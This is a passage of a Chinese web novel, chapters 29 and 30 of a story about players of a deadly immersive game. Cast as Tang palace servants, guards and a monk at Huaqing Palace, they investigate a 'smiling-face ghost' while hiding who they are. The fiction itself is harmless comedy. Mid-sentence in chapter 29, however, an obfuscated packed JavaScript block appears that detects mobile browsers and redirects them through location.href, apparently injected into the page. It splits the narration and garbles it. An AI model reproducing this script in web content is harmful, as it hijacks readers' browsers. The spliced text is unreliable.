当然,在没有NPC在场的情况下,人机和玩家直接进行战斗也是有可能的,至于怎么不被NPC发现,那就看玩家们自己的本事了。和被NPC杀死不同,被人机玩家杀死,就是真的死亡,没有再来一次的机会。 第三,华清宫里,存在着一个“鬼”。玩家们需要找出这个鬼,一旦识破鬼的身份,第五天就会立即结束。如果在剧情发展的限定时间内找不到鬼,那么一切就会从头开始,玩家们会再次被随机发放身份。在这张地图的所有真人玩家共享一次识破鬼的机会,找错了,还是死。 至于这“鬼”和人有什么不同,规则里倒是没说,看来是需要玩家自己发掘的内容了。 看完这些规则,那张纸做的令牌,竟然燃烧起来,曲小蕨赶紧松开手,那令牌就浮在半空,燃烧殆尽了。这个过程中,周围的那些小姑娘根本头都不抬,显然她们是看不到的。 哇…… 曲小蕨深呼吸,用力一握拳。 大型沉浸式古装宫斗权谋剧本杀! 玩命的那种! 29. 第五天·华清宫(二十九) 马车一路前进,车身时而倾斜,似乎是在上山。 这车里的小宫女们显然都受过了严格的训练,一个个坐姿非常端正,即使偶有颠簸也不会东倒西歪,曲小蕨被挤在她们中间,被迫抬头挺胸。 她好几次想撩开窗边的帘子看看外头,手一动,就被旁边的小姑娘按住了,用严肃的口吻教训她:“小蕨,你要干什么?忘了尚仪是怎么教的了么?做好自己该做的事,一点好奇心也不能有!” 曲小蕨被她说得一愣一愣的,长到这么大,还是头一次感受到封建社会的洗礼,只好遗憾收手。 她竖起耳朵,想听听外面有什么动静,但外面全是车轮滚滚声,只能听出来他们似乎在一个车队里,行进路线蜿蜒曲折,很像是山道,但不算太崎岖。她背过《长恨歌》,知道这座帝王的行宫就建在骊山之上,想必这车队此刻就是在骊山上行驶着。 所以,这是要去干什么呢? 就在曲小蕨脑洞大开之际,外面传来一声长长的吆喝,随后一阵车马喧阗之声,车队缓缓地停了,紧接着,有一队人越走越近,每经过一辆马车,他们便会停下,和车里的人说些什么。 很快,这队人来到了曲小蕨所在的马车之前,便听到车辕被敲了两下,有个人说:“到了,下车吧。” 曲小蕨身边的小姑娘应了声,随后,这群女孩儿便一个接一个地下车了,动作很是利落。曲小蕨有样学样,也下了车,就看到站在车边的是一队护卫,个个披甲佩刀,为首的正在清点人数,确认过后,他点点头,带队走向下一辆车。 这时候,那护卫队中的一个人忽然转头看了曲小蕨一眼。 那是个年轻人,眼睛很亮,看起来脾气很好的样子,最重要的是,他似乎非常眼熟。他只是匆匆地瞥了曲小蕨一眼,便转过身继续跟着同伴走了,这一眼却让曲小蕨陷入沉思。 目前来说,她是这一批玩家里唯一的小女孩体型,所以很好辨认。特地转头看她一眼,这个人显然也是玩家。 她盯着那个背影看了半天,忽然恍然大悟。 这个人不就是……哎,谁来着?名字一下子想不起来了。 是饿了么那个唱《狂》的霸刀! 护卫的衣饰一丝不苟、严严实实,和霸刀的燕云校服差距甚远,没了那标志性的胸肌,曲小蕨一开始还真没认出来。 这么说来,这张图里,目前已经出现三支队伍了。蓬莱吧啦吧啦想不起来了队应该全部都是玩家,这一点她可以确认,而自己的队伍当然也是没问题的,就是不知道饿了么队里会不会有人机存在。 不过先前在客栈那几天,也和他们队打过照面,这些人活泼得很,实在不像是人机。 她还在这出神地思考着,手里忽然被身边的同伴塞了个东西,低头一看,竟然是把笤帚。 塞给她笤帚的小姑娘悄声说:“发什么愣啊,快扫地!” “啊?” 曲小蕨一呆,便看到前面那几辆车上下来的小宫女们,都端着水盆笤帚,开始洒扫了。 原来我是个扫大街的! “仔细一点,边边角角都要扫到!”那为首的护卫检查完人数,拍拍手,空了的车队便又原路驶走了,“贵人明日游幸,不得留半点灰尘!” 曲小蕨无奈,只得低头扫地,实则在心里呸了一声。 扫扫扫,早晚给你扫进历史的大垃圾堆。 现在大约是初冬的季节,站在山中扫地,还有点凉意。她草草地挥了两下扫帚,发现眼前的山道实则是以大块板岩铺砌出来的,平整得很,难怪感觉不算颠簸。马车看似走了很久,实际上连骊山的半山腰都不到,但再往上便是青石铺就的阶梯,车是上不去了,只能步行向上走。 曲小蕨再抬头往上看,先是眼前一亮,随后便是一黑。 眼前一亮,是因为面前景色,实在震撼。 虽是冬季,但骊山上松柏居多,依旧满目葱茏翠绿,蔚然深秀。青石阶梯自脚下蜿蜒至上,几乎约每百道阶梯便通向一处楼台亭阁,远远看去,整个骊山从山脚到山顶满是屋宇馆殿,巍峨壮丽,郁郁葱葱的深林之中露出层层飞檐斗拱,其中繁华恢弘,令人唯有赞叹。 而眼前一黑,则是因为这阶梯太长…… 先前和她同乘一辆车的那小姑娘就在旁边扫地,动作麻利得很。曲小蕨寻思着说两句话应该不至于OOC,便小声道:“哎,就算咱们今天扫完了这么多台阶,晚上山风一吹,明天不又满是尘土了嘛。” “你傻了?”那小姑娘却讶异地看了曲小蕨一眼,“来之前不是说了么,要时时打扫,直到贵人过去。今日扫,明日也要扫呀。” “啊?”曲小蕨这会才是真傻眼了,“扫两天?” 她还想确认一下,余光看到那队护卫又走过来了,于是也赶紧低头扫起地来。 这队护卫却不是来督工的,他们手中都拿着青色的绳子,正沿着山道一路向上拉直、系好,也不知道在干什么。那个霸刀也在其中,他显然也不知道这青绳有什么用,时常偷瞄同伴,动作一直比别人慢半拍,看得曲小蕨直想笑。 她假装认真地扫地,慢慢地朝那个霸刀的方向接近,霸刀会意,也朝她这个方向靠拢了些。 他俩慢慢地挪着,看看其他护卫和宫女都离得远了,那霸刀便压低声音道:“我也是玩家。我认得你。” 能这么说的,大概的确是玩家,人机都不至于这么大胆直白。曲小蕨一噎:“……啊,是,我是‘谜语人离开浪客行队’的曲小蕨。” “我是‘饿了么队’的柳七刀。”柳七刀说,“你刚来吗?” “嗯。”光天化日之下,曲小蕨也不敢拿出香篆钟,只能凭感觉道,“我们队进图就被分开了,大概到这儿有个十来分钟了吧。” “我们队也没传送在一起。”柳七刀一皱眉,“但是,我已经在这里一天了。” “哦,那就是分配的角色进入剧情的时间不同。”曲小蕨略微一思考,淡定地点点头。 柳七刀用看神童的眼神看她:“你好聪明啊。” “你要是在我们队混久了,你也行。”曲小蕨说,想起那些年他们为了理解付井仪的谜语而做出的努力,忍不住就是一阵心酸,“哎……我好倒霉,怎么在这扫大街啊。” 她有些羡慕地看了看柳七刀身上光鲜笔挺的银甲绛袍:“你是什么?那种御前护卫吗?” “是护卫,但不是御前护卫。”柳七刀苦着脸,“我们这队好像是什么负责内廷事务的,简单来说,就是专门负责打杂的,什么活都干,甚至还要……” 还要做什么,他却没继续往下说了,只是露出一副往事不堪回首的表情。 看到柳七刀这样,曲小蕨好奇死了,但是其他NPC这会儿也都慢慢走过来了,两个人只好先噤声,各自假装很忙的样子去做手头上的事。 护卫们干活速度很快,进度一会儿就超过了宫女,柳七刀提着绳子顺着台阶往上走,回头看了一眼曲小蕨,曲小蕨朝他使了个眼色,又低下头开始扫地。 “走了。”同伴招呼他,柳七刀应了声好跟上去,在心里琢磨这个眼神是什么意思。 他想了半天,也没想明白,最后归结为两个人年龄差比较大,有代沟。 护卫们今天干的活很枯燥,就是将青绳沿山路两边一路拉上去,从山脚拉到山顶,跟扯安全线似的。期间这支队伍东拐西绕,过了不少宫殿、道观与亭台,每一处都有人擦洗扫尘,声势非常浩大,显然是为了皇帝明日的到来在做准备。 俗话说望山跑死马,他们顺着山道,一路翻过骊山西绣岭的三个山头,又去了东绣岭,等到把青绳全扯完,天都黑了。队伍里全是此起彼伏的肚子咕噜声,为首的护卫手一挥,就带着大家下山回去吃饭。 这华清宫背靠骊山,无比庞大,站在山上俯瞰,山脚下满是鳞次栉比的宫殿,重重叠叠,实在是蔚为壮观。此刻夜幕方降,宫中点起灯来,整座骊山顿时亮如白昼,宫墙内外灯火连成一片,恍若银河泄地、繁星随流。 柳七刀看着,心里就一句话。 卧槽,真牛。 他们下山回宫的山门叫做昭阳门,两侧皆是萦回曲折的缭墙。过了昭阳门,就算是正式踏入了华清宫的宫城之内。这座皇家行宫果然华美异常,借骊山温泉为景,整座宫城几乎是在水上建立起来的,青石步道纵横交错,宽阔齐整。即使是冬季,走在宫城之中却感觉不到寒冷,栽满道路两旁的桃花甚至正在盛放,风过时,花瓣像下雨一样落在水面,泛开一圈圈涟漪。 柳七刀看着,心里还是那句话。 牛! 虽是傍晚,这宫城内却更热闹异常,乐师们坐在高台之上,抚琴吹笛,先到一步的王侯贵族漫步水边,高谈阔论。 偶尔也有手执熏香拂尘的宫女们成队经过,路过他们身边时,还会低头行礼,这却让柳七刀有些迷惑不解。 他还以为自己这身份就是个打杂的,没想到看起来似乎颇有地位的样子。 刚进图时可不是这样的,一想到那悲惨的经历,柳七刀便无语凝噎。 就在这时,带队人回过头,说出了他最不想听到的那句话。 “柳七刀,你先去斗鸡殿看过了,再来找我们。” 淦,又要喂鸡! 柳七刀在心中默默流泪,但又不敢崩坏人设让NPC看出来,勉强保持微笑,道了声好,眼巴巴地看着其他人走远了。 要单是喂鸡也就算了,但架不住那个什么鬼“斗鸡殿”里养了好几千只鸡,简直就是一个小型养鸡场,而且那些鸡都是金冠彩羽、神气活现的大公鸡,各个逞凶斗狠,见人就啄,飞天走地无所不能,还有的鸡直往他头上扑腾。 他昨天便是,一个不察,便被蹬鼻子上脸,刚要把头上的鸡薅下来,却看到斗鸡殿的宫人们大惊失色,心说这难道是剧情考察点,于是赶紧变换态度,恭恭敬敬地把鸡大爷请了下来,落荒而逃。 ——最最最恐怖的是,鸡还是直肠子,吃了就拉。 想到这里,柳七刀便不想再回忆了,他左看右看,壮着胆子喊住一个路过的宫女:“请问,斗鸡殿怎么走?” 路太复杂了,他没记住。 那宫女被他喊住,盈盈施了一礼,对答如流道: “斗鸡殿在缭墙之内,宫中最东,大人现在是在昭阳门北侧,要先穿过日华门,穿二道宫门,至东区出开阳门后,过重明阁向南,便是斗鸡殿了。事毕之后,向北出北缭门,过河,便可到讲武殿。” 她说得轻松,一堆门啊阁啊却听得柳七刀双眼直冒金星。那宫女见他有听没懂,莞尔一笑道:“宫城内殿阁诸多,确实难走,大人且随我来。” 还是原住民厉害啊,柳七刀肃然起敬。 他跟在那宫女后面,忽然一愣,想到一个问题。 这宫女显然是真NPC才对华清宫如此熟悉,那假如是曲小蕨被路过的什么王孙贵族问到这种问题,岂不是立马暴露了? 不过他又立刻想到,曲小蕨的人设是因为人手不够才被临时从长安带来的小宫女,对华清宫不熟悉,也是很正常的。看来浪客行也想到了这一点,没给他们设置必死无疑的情境,那它还怪好的嘞。 夜色已深,他们到开阳门前时,恰好看到两名侍卫正在关闭正门。见到他们过来,其中一名侍卫便客客气气地请他们从侧门绕行,说是明天起,正门便不会关得这么早了。 他对柳七刀的态度也十分客气,柳七刀更是摸不着头脑。 你要说这个身份不厉害吧,这些人的态度都还挺恭敬的;但是要说厉害吧,又得去喂鸡。 他忽然一震。 难道我是弼马温! 柳七刀表面不动声色,内心却大受震撼,晕晕乎乎地跟着宫女从侧门出去了。 虽说是夜晚,但开阳门来往进出的人可一点都不少,这会儿便有一队宫女跟他们擦肩而过,行过礼后,往东区去了。 这群宫女的年龄要比曲小蕨她们稍大一些,对华清宫显然也更加熟悉,走动之间很是放松,没有小姑娘们略微拘束的感觉,进了开阳门,便小声说笑起来。 “新来的骑曹参军事大人好生和善,还对我笑呢。” “他勤勉得很呢,听斗鸡殿的人说,昨天他刚到,便亲力亲为,一口气将所有的鸡全喂了,让他们很是惶恐。” “是哦,有鸡跳到他头上他都不生气的,真是好脾气。” 再往前走两步,她们话锋一转,又谈论起看门的侍卫来。 “说起来,今天新当值的这位监门卫小哥,长得也是好生俊俏。” “是呀,就是总板着一张脸,看着令人心中发憷……” 她们轻快的说笑声被夜风卷着几片花瓣送到宫门处,听得清清楚楚。那给柳七刀引路的侍卫眼神中略带幽怨,看向今天刚来的新同伴。 这位新当值的监门卫业务似乎不是很熟练,这会儿才刚把那半扇门闩好,面无表情地转过身来,完全无视了他的注视。 先前,因为忙着关门落闩,这个新来的监门卫并没有看到柳七刀,柳七刀也没看到他的正脸,但假使是看到了,柳七刀也不一定认得出来。 没了凌雪阁标志性长围巾的殷炽一脸冷漠,内心却十分想逃。 好消息,被分配进华清宫的主战场了。 坏消息,是看大门的。 唐朝是有宵禁的,华清宫虽然并不需严格遵守宵禁制度,但夜一深,本来热闹的宫城就渐渐安静下来了,除了巡视的几队金吾卫和值守的宫女,再无他人。 这里虽是行宫,但玄宗每年冬季都要在此长住,也算是随季节而变化的行政中心了。天子车辇明日才动身,今天便已经有大批文官武将与王公贵族先行来到,整个白天不断有人出入开阳门,喧闹非凡,一到了夜晚,反而有种骤然安静的落差感。 当然,对于殷炽本人来说,他却是更喜欢这种安静的时刻。 监门卫的工作非常无聊,能进入东缭墙之内开阳门的人,已经不需要再次查验身份,他们的工作只是看守大门,而这一班岗,要站到四更天才可以换班。 四更天,就是凌晨一两点钟的时候,干站着实在是很无聊。 另一个监门卫几次想和殷炽搭话,看到他面无表情一张脸、站得笔直,又默默地把话咽了回去。 新来的好努力。 殷炽不知道他的这位同事在想什么,他只是在思考游戏的规则。 正想着,便听到同事道:“我先离开一会儿,去去就回,麻烦了。” “你去哪里?”殷炽问他。 “有些事。”同事道。 “什么事?”殷炽继续问。 “……东司更衣。”同事说,露出了痛苦的神情,“不行了,我先去了!” 他大步流星,转身就走,很快消失在了夜色里,留下殷炽一个人默默疑惑“东司更衣”究竟是什么。 换衣服? 算了,都不重要。殷炽整理思绪,继续思考。 游戏规定了找“鬼”的时间限制,如果在剧情发展完毕后没有完成这个任务,那么剧情将会再走一遍,游戏重新开始。 ——这就说明,这个地图肯定存在着一段既定的剧情,从今天的经历来看,这段剧情,大概率会与明天玄宗摆驾华清宫有关,只是还不知道究竟会发生什么事情。 也许只是很普通的帝王游幸录,也许会有刺客来行刺天子,在明天到来之前,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691177|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不好。 此外,游戏虽然点明了他们的任务是找到“鬼”,但却没说究竟该如何去找,“鬼”又会以什么方式、在何种情境下出现。“鬼”究竟是什么,对他们有什么威胁,目前也不得而知。 殷炽个人更偏向于认为,“鬼”是一个指代。 总不可能真的闹鬼吧。 人最怕胡思乱想,“闹鬼”这个念头一旦飘进脑子里,就很容易生根发芽、挥之不去。偌大的华清宫仿佛忽然就变得阴森起来,每一处灯火照不亮的地方,似乎都鬼影幢幢,好像潜藏着什么看不见的怪异东西。 ……不能有鬼吧。 殷炽缓缓地后退一步,站到了宫门边灯火更为明亮的地方,此刻竟然有些思念队友。 好在他也没煎熬多久,另一个监门卫便迅速地回来了,表情十分轻松。殷炽将他上下打量了一番,还是那套装束,显然这一趟并不是去换衣服的。 进入华清宫这个图仅短短一天,他便深刻地感受到,所谓保持身份角色设定,最难的部分,便是与原住民NPC相互理解。大概是为了让玩家们适应,游戏已经在部分日常对白和文字上做了简化,但像刚才那种情况,依然时有发生。 这就好比做英语阅读时,上下文都看得懂,但一到关键部分就会出现一个看不懂的陌生长单词,而这偏偏就是整个题目的考察点。 他正想着,忽然,一道凄厉的惨叫声就划破了安静的夜空。 那声音离他们并不算远,似乎就是从开阳门南边传来的。两个监门卫都是一惊,同事对华清宫更熟悉一些,脱口而出:“梨园!” 殷炽做过上岗培训,知道梨园就在东门开阳门与北门津阳门之间,属于整个宫城的东区,当即便要往那边冲过去,同事急忙将他拉住:“且慢,我们还是守住开阳门,金吾卫会过去查看的!” 但这惨叫声,很可能就是游戏剧情触发的标志,如果错过,说不定就会漏掉重要的线索。殷炽二话不说,身形灵活地绕过了同事,就要继续向前跑。 就在这时,第二声惨叫再度响起:“有鬼啊!” “……” 同事惊讶地发现,他怎么都拉不住的这小子,脚步竟然诡异地顿了一下。 就在殷炽停顿的这一秒,已经有大批金吾卫从行宫的各个角落出现,朝梨园飞快地冲去。华清宫的所有NPC在这一刻闻风而动,反应迅速,一个个都紧张得不得了。 开玩笑,皇帝明天就来,今晚闹鬼? 这两声惨叫,就像投进湖水里的石子,激起了层层涟漪。 梨园内灯火通明,居住在这里的乐部伎子弟此刻都已纷纷醒来,聚在一起,金吾卫正在挨个问话,一派人声嘈杂。 发出惨叫的是个弹筝的乐师,年纪不大,被人群围在中间。此刻她正吓得魂不守舍、脸色惨白,显然还没回过神来,金吾卫问了半天,也没问出什么。 这时候,就听见急促步伐声从院门处传来,一队侍卫引着一个人走了进来。 那领队的金吾卫正带人搜查梨园各屋舍,转头看见了,便咦了一声:“这不是宫苑总录监事么。他来这里干什么?” 这话让刚踏进院门的宫苑总录监事听见了,脚步就是一滞。 坏了,难道这里没我事? 这一愣间,带头的金吾卫已经走了过来,他的官职显然是要高一些的,只略一点头便问:“裴监事,深夜来此,所为何事?” 这不请自来的监事不是裴洛川还是谁? 第一次当官,职业理解不太准确,似乎越俎代庖了。他心中直道糟糕,脸上却看不出来半分,只是坦然微笑道:“宫中无鬼,只怕是有人闯入,管理宫苑人员出入也是我分内之责。陛下明日便要摆驾华清宫,不来亲自查看一番,实在坐立难安。” 怕怪罪牵连,这理由倒还算合理,金吾卫点点头不再追问,只道:“裴监事尽可放心,宫城之内,出入一向严格,想必夜深风大、树影重重,是这乐师看错了眼。” 那乐师正自饮泣,先前怎么问都不愿意开口,这时听到有人说她看错了,反而火气上来了,哽咽道:“我必不可能看错,分明就是有鬼!” 天子明日就到,这话可不能乱说。那金吾卫皱起眉头,就道:“那你且讲来,是什么鬼?何时见的?” “今晚月色明亮,它伏在窗棂上,我看得清楚,是个獠牙狰狞的大脑袋笑面鬼,绝对不是人。”乐师擦了擦泪,“见我醒了,它便遁走了。” 笑面鬼? 裴洛川在一边听着,心里便暗自思忖,难不成这笑面鬼就是玩家要找的鬼? “你可曾看清,它往哪儿去了?”他问。 裴洛川长得好看,声音又温和,比凶巴巴的金吾卫可强太多了,那乐师小声回答:“我看到它是往天上去的,一下子就不见了。” 听到她这么说,那些金吾卫表情都不是很好,但再问她,却是问不出来更多了。左右这时梨园也被搜了个底朝天,并没有找到什么笑面鬼,那为首的金吾卫便嘱咐了宫人几句,带队径直离开。 看他们的架势,显然是要在整个宫城内地毯式搜寻了。 裴洛川又温声安慰了那小乐师几句,才同宫人告辞,要回自己住的西区去。只是临走时,他鬼使神差地回头一看,恰好看到那小乐师飞快地跑向另一个人。 那人侧对着他,看不清脸,但身形窈窕,显然是女子,怀中似乎抱了把琵琶。 这个身影非常眼熟,好像是个玩家,但他们应该不熟,看不到正脸,裴洛川一时间想不起来。 金吾卫都走了,他作为一个监事,也没有留在这的理由。先前那玩家没主动和自己打招呼,想来可能是警惕着人机存在的可能性,还是不要贸然接触的好。 这么想着,裴洛川也离开了梨园。 “师襄姐姐。” 那见了鬼的小乐师扑到女子身边,还有些抽噎,“刚刚真是吓死我了,我今晚和你一起睡,好不好?” “当然可以。”抱着琵琶的女子正是师襄,她轻声问那乐师,“我看你先前犹犹豫豫,是有什么话没说吗?” “……”小乐师露出为难的表情,四处看了看,人都散得差不多了,她才小声对师襄说,“姐姐,我可只跟你说,那笑面鬼长了张黄脸,绝对绝对不是人,我真的很害怕。” “别怕。”师襄安慰她,“我差人去请医博士,给你开个安神的方子,你喝了睡一觉,等明日太阳出来,有什么鬼都灰飞烟灭了。” 那小乐师极为信任她,听到她这么说,自然是连连点头,依偎在师襄旁边,简直是寸步不离了。两人缓步回房,便也没看到有只鹦鹉从院内桃树上扑扇起翅膀,不紧不慢地飞入了夜色。 另一边,住得最近的医博士被宫人薅了起来,正往梨园带。 “您睡得还真香。”那宫人也是话痨,想起去叫门时,这医博士竟然还在熟睡,敲了半天门才衣冠不整地前来开门,忍不住道,“那乐师两嗓子将整个宫城都叫醒了呢。” “啊,对,我睡得沉。” 祁云纵挎着药箱,在心里思索,一会儿怎么开安神药方。 要不然把其他人支开,把那倒霉蛋一手刀砍晕算了。 他本来打算利用这个夜晚暗中探探路、摸清地形构造,顺便找找队友的,但没想到现实是一片兵荒马乱,完全不如计划般的那么成功;宫人来喊他时,他因为记错了路,才刚摸回到房内,正紧张地装睡。 ——哎,那个小乐师怎么就突然醒了呢? 祁云纵跟着宫人身后向梨园走去,看到正在四处搜查的金吾卫,在心中暗自庆幸。 还好有个小队仓库可以放黄鸡大笑头套,他们找一辈子“鬼”,怕是也找不到。 30. 第五天·华清宫(三十) 梨园闹鬼的事情,很快就被平息了下去。 包括金吾卫和监门卫在内的南衙府兵将整个宫城连夜翻了个底朝天,没找到任何一个偷溜进来的外人,又联系缭墙外的各府庄搜索骊山,也是一无所获,而天子龙辇已经从长安起驾,偕同文武百官、禁军边将浩浩汤汤一行人向骊山而来,午后便要到了。 于是,那乐师口中的“闹鬼”说法,便成了她只是夜半醒来,迷迷糊糊,一时间没分清梦与现实,误把窗外竹柏的投影看成了鬼。 这个说法大家都能接受,很快就传遍了骊山上下、宫城内外。 只是金吾卫中郎将还是差人暗中从西区功德院请来了高僧,要“如此这般”一番。 那高僧虽然还年轻,但大光头锃亮,一看就很是令人信服。他来到梨园,先观察一番,随后微笑不语,只是让闲杂人等都离远一些,他要念经做法了。 梨园众人连同南衙府兵退至院外,便听见高僧念禅,声如洪钟,念的正是贞观时玄奘大师所译的《心经》:“观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄。舍利子,色不异空,空不异色,色即是空,空即是色,受想行识,亦复如是……” 紧接着,他的声音便小了下去,还在不停诵读。 大声时字字震耳有如天外梵音,小声时细语娓娓恍若金莲暗放,中郎将便暗自点头想,不愧是住在功德院的高僧,果然有真本事。 “高僧”闭目微笑,还在念念有词,看起来一派从容。假如此时有人离得近了,就会发现,他翻来覆去,念的还是那一段话。 这位高僧就是行守,他还没来得及庆幸自己抽到了合适的身份,一摸脑袋,就发现这次真成秃头了。 秃了也就罢了,竟然还被抓到这里来作法。 明明他更擅长物理超度。 他一边念经,一边把眼睁开一条缝,偷瞄在院门口的侍卫和梨园子弟们,试图从他们脸上的表情中推测出自己什么时候可以停下。 终于,有个宫人忍不住打了个哈欠。 就是现在!行守睁开双目,双手合十,提高音量总结道:“善哉。” 听到作法结束,众人纷纷涌进院内,那为首的金吾卫中郎将便问:“大师,怎么样?” 行守信口胡诌:“骊山钟灵毓秀,蕴天地之精华,集日月之灵气,草木有感而生灵,听闻陛下不日将至,故而雀跃,是祥瑞啊。” 听到他这么说,众人皆是大喜,金吾卫中郎将赶紧追问:“那大师这样做过法事后,它还雀跃吗?” 那笑面鬼是什么玩意行守都不知道,模棱两可地回答道:“然也。” 金吾卫中郎将不吃他这套:“请大师明示。” 柳七刀和曲小蕨混在人群里,远远地看着,柳七刀就说:“坏了,他要你师父背锅。” 曲小蕨对师父很自信:“我师父必不可能背锅。” 果然,就听见行守甩锅道:“草木之灵,野火焦土尚且生生不息,何况天子脚下乎?不过金吾卫属天子十六卫,得真龙之气庇佑,若不喜它,夜夜勤加巡视,以龙气震慑,自然就见不到了。” 曲小蕨满意道:“不愧是我师父,这样一来,那个笑面鬼如果再出现也不怪他了,都怪金吾卫巡逻不利,而那么多人天天巡逻,有鬼也能给吓跑了。” 柳七刀沉思:“但是,我好像就是金吾卫……” 曲小蕨目露同情之色:“那你要加班了。” 她听着师父提到“真龙之气”,在心里想,他们队的真龙还不知道在哪儿呢。 这段时间,曲小蕨利用身份之便四处乱转,不仅没找到尹有攸,连付井仪和唐逐星也是不见踪影,好像他们根本就不在这华清宫的宫城之内。 不过,城墙外也是有很多馆阁宫殿和庄园的,说不定他们在那里。 经过曲小蕨这段时间的探索,她发现这座华清宫也比游戏中的地图要大得多,大致可以分为三个部分。 第一部分在环绕着整座骊山山脚的缭墙之外,是整个华清宫的最外圈,这里都是一些功能性的建筑,比如南衙府兵居住的讲武殿,皇帝赏赐给贵族的庄子、道观等等。此外,一些像舞马台这样需要大片土地的娱乐性设施也在这里。 第二部分,是缭墙以内、宫城以外,这部分的主要功能是观景娱乐,像柳七刀常去的斗鸡殿和乐师们经常相聚的按歌台,都在这里,跟随天子游幸的文武百官,也会住在这个区域的弘文馆中。 第三部分就是华清宫的宫城,它分为东区、西区与中区,以宫墙相隔,中区就是皇帝的办公区域。整个华清宫宫城之内以温泉水域相连接,但也有单独划分出来的温泉,不过那就不是曲小蕨能进去的地方了。 想到这里,曲小蕨便问柳七刀:“你们队的其他人在哪儿,你都知道了吗?” “嗯……非姐,就是仇非,目前还没联系上。”柳七刀想了想,“祁云纵是个奶妈……不是,应该叫太医?之前在路上看到他了,但是走得急没来得及说上话。谢不若人不知道去哪了,鹦鹉倒是在,给我递过话,说他在宫城里,但是暂时还出不来,有事找鹦鹉就行了。至于龙葵,虽然没见上面,但她应该是个厨子吧。” “为什么?”曲小蕨好奇道。 “因为我昨晚吃到了东北乱炖。”柳七刀咂咂嘴,“还有锅包肉。” 被金吾卫中郎将亲自送回功德院的行守路过他们身边,听到这句话,在心里叹了口气。 自从进了浪客行就一直吃素,他也想吃锅包又。 “说起来,上次你给我递的那个眼神是什么意思?” 眼看着行守离场,人群快要散了,柳七刀抓紧时间问曲小蕨。 曲小蕨张口就来:“意思是让你自己多保重,不要崩了角色设定被NPC发现了,找个时间抽空再溜出来见一面,交换一下跟‘鬼’有关的情报,顺便打听一下我们的队友都在哪里。” 柳七刀愣住:“真的假的,这么多含义?” “假的。”曲小蕨说,“你不觉得那种情况下对视一眼很有谍报片的感觉吗!显得我们好像很厉害的样子!” 恰好有宫人喊她,曲小蕨深沉地冲他点点头,便匆匆过去了,柳七刀看着她的背影,感觉她和谢不若应该能成为拜把子的好兄妹。 “超度”告一段落,所有人在各自离开前均被三令五申,一定要记住行守大师的说法,无论乐师的“梦里”看到了什么,梨园的院子里又有什么,那全都是祥瑞、是吉兆、是天大的好事,而那个撞见“笑面鬼”的小乐师更是被着重提点,要是想留住脑袋,最好仔细自己的说法。 金吾卫走后,她还后怕不已,只是心中又有些委屈,忍不住去找师襄诉苦。 这个新来梨园的姐姐抚得一手好琴,性子看着也沉稳温柔,更是不喜欢热闹,今天大师来做法事,大多人都围在门口看热闹,师襄姐姐却独自去按歌台练琴了,这一点倒是让她十分敬佩。 小乐师一路寻到开阳门,远远地就看见师襄抱琴归来了,正在宫城门前与左边那位监门卫说话。 这两个人的表情都很严肃,看起来不像是日常问候,而右边那位监门卫却不知为何擅离职守,站在距他们十几尺的地方,两眼无神地对着宫墙发呆。 小乐师有点奇怪,但也没想太多,快步走过去,小声叫道:“师襄姐姐。” 看到她过来,师襄的手不着痕迹地在琴弦上扫了一下,这个动作小乐师并没注意到,自然也没看到她身后那对着墙发呆的监门卫开始慢慢地往回走。 “那还请您多留意了。”师襄对殷炽道,便转身向小乐师走去。 殷炽点点头,此时他的同事才刚刚走回原位,猛地一激灵,抬起头:“我刚刚睡着了?” 殷炽心说你没睡着,只是被平沙了,脸上却面无表情地一颔首:“对。” 另一边,小乐师看师襄走过来,便亲昵地凑过去问道:“师襄姐姐,你让那位监门卫大人留意什么呢?” “在去按歌台的路上丢了支发簪,请他们帮忙找一下。”师襄轻描淡写道,岔开话题,“你找我是怎么了?” “还是闹鬼的事情嘛。”小乐师咕哝道,“我给你讲啊,我明明看得清清楚楚的……” 师襄一皱眉,打断了她:“这事情到此为止,就不要再提了。不过下次若是再见了奇怪的东西,你就来叫我,我把它逮了,看看到底是什么。” “哈啾!” 果老药堂之中,祁云纵手一抖,半勺刚研磨好的朴青粉全数倒进了药碾之中。 他旁边的医博士错眼看到了,心里直犯嘀咕,心说没记得哪一味方子要用这么多朴青啊,果然是艺高人胆大。 人设不能崩,祁云纵表面十分淡定,心说制药就像叠刃,断了就补,好比面多了加水,水多了加面。 他按照医书上的药方,把什么乱七八糟的“黄丹”“白锡”都扔进锅里煮了半天,成品倒是勉强搓成了几颗药丸子,就是怎么看怎么恐怖,能不能压热镇心不知道,早登极乐应该是没问题。 今天一早,上头忽然来了个活儿,让药堂做点儿压热镇心的药丸给功德院里的高僧送去,看看那边能不能用得上。这活儿不知道怎么回事就落在了祁云纵头上,还好他也不傻,早早地从药堂里找到了医书,勉强保住了自己的人设。 果老药堂就在功德院内,祁云纵敲开得道高僧的门,发现高僧正背对着他坐在案前敲木鱼,连头也没回。 那药丸吃了绝对会出事,不过祁云纵也早已想好应对良策,此刻二话不说,直接入戏:“大师,我来给您送压热镇心的丸子,您看着给昨夜受惊的人分一分……哎呀,丸子呢?” “许是我路上摔了一跤,药丸滚落了。”他装模作样道,“我再回去找找。” 行守怎么听这声音怎么耳熟,转头一看,乐了,这不是有间客栈公然调戏气纯的剑纯么。 “什么药丸,纯阳含真散?”他也不再保持得道高僧的形象了,直接打趣道,“你们剑纯还会炼丹呢。” 祁云纵听到剑纯耳朵一动,抬起头一看,却是张陌生的脸,茫然道:“你谁啊。” 行守一噎,也是有些服气:“……我是谜语人离开浪客行队的和尚。” 和尚、和尚……祁云纵想了半天,想起来了:“哦,你是那个毒萝的师父吧,你平时都戴着那么大个斗笠,长什么样子也看不清啊。” 唯一的萝莉体型确实很容易被人记住,行守师凭徒贵,无语凝噎,心说不知道我是谁你也敢搭话,你们饿了么队就这么不把死亡规则放在眼里? 发现是自己人,祁云纵松了口气,把他搞出来的药丸往桌上一放:“上头让我炼的药,呃,吃就算了,你要是有看着不顺眼的人,可以给他来一颗。” 